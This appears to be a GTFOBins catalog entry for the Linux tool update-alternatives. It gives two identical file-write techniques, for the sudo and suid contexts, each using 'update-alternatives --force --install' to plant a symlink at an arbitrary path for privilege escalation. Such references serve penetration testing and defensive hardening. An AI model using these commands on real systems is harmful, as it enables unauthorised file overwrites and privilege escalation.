Catalog GTFOBins

GTFO · Tool

update-alternatives

2 techniques LinuxGTFOBins GPL-3.0
file-write
File WritePrivilege Escalation Linux

Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.

echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0
Context
sudo
Native
file-write
MITRE
T1565
file-write
File WritePrivilege Escalation Linux

Write in `/path/to/output-file` a symlink to `/path/to/temp-file`.

echo DATA >/path/to/temp-file
update-alternatives --force --install /path/to/output-file x /path/to/temp-file 0
Context
suid
Native
file-write
MITRE
T1565